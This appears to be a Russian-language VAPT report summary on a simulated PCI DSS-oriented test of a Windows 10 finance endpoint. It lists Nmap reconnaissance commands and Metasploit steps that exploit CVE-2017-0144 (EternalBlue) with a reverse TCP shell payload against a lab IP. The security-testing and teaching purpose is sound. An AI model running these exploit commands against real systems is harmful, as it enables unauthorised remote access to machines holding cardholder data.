adityabhatt3010/vapt-report-on-smb-exploitation-in-windows-10-finance-endpointВ данном отчете описывается структурированное взаимодействие VAPT, ориентированное на соответствие требованиям PCI DSS, перечисление служб SMB и эксплуатацию CVE-2017-0144 (EternalBlue) на машине с Windows 10 в инфраструктуре финансовой направленности.
Финансовые учреждения сталкиваются с одними из самых строгих требований соответствия в области кибербезопасности. Учитывая чувствительные данные клиентов и информацию о держателях карт, ошибки в конфигурации безопасности могут привести к катастрофическим утечкам. Данная симуляция VAPT была проведена для оценки уровня безопасности конечной системы на базе Windows 10 с точки зрения соответствия PCI DSS, а также для выявления и эксплуатации известных уязвимостей в открытых службах SMB.
Симуляция охватывает несколько этапов — от разведки и сканирования уязвимостей с помощью Nessus до реальной эксплуатации через Metasploit. Отчет дополнительно подчеркивает важность усиления защиты конечных точек, управления исправлениями, применения межсетевых экранов и согласования с PCI DSS для поддержания целостности финансовых сетей.
Подготовил: Адитья Бхатт
Должность: Аналитик VAPT | Специалист по кибербезопасности
Контакты: [email protected] | +91-9818993884
В данном отчете представлены результаты теста на проникновение, проведенного на конечной точке Windows 10, которая, как предполагается, обрабатывает финансовые данные и транзакции по кредитным картам. Цель заключалась в проверке реализации средств контроля PCI DSS и выявлении потенциальных векторов атак, которые могли бы поставить под угрозу данные держателей карт.
С помощью Nessus было обнаружено, что хост уязвим к CVE-2017-0144 (EternalBlue) — критической уязвимости SMB. Затем с использованием фреймворка Metasploit эта уязвимость была использована для получения несанкционированного удаленного доступа к оболочке. Отчет подчеркивает важность своевременного управления исправлениями и усиления защиты сетевых служб для предотвращения утечек данных в финансовых системах.
Были рассмотрены шесть основных целей и двенадцать требований PCI DSS. Ключевые принципы включают:
Целевая система:
10.10.195.105255.0.0.0Используемые инструменты:
Ключевые команды:
nmap -sn 10.10.195.105
nmap -sV -p445 10.10.195.105
nmap -F 10.10.195.105
Сканер:
Попытка сканирования Nessus:
Попытка сканирования Metasploit:
use scanner/smb/smb_ms17_010
set RHOSTS 10.10.195.105
run
Модуль эксплуатации:
use exploit/windows/smb/ms17_010_eternalblue
set payload generic/shell_reverse_tcp
set RHOSTS 10.10.195.105
set LHOST 10.17.88.138
exploit
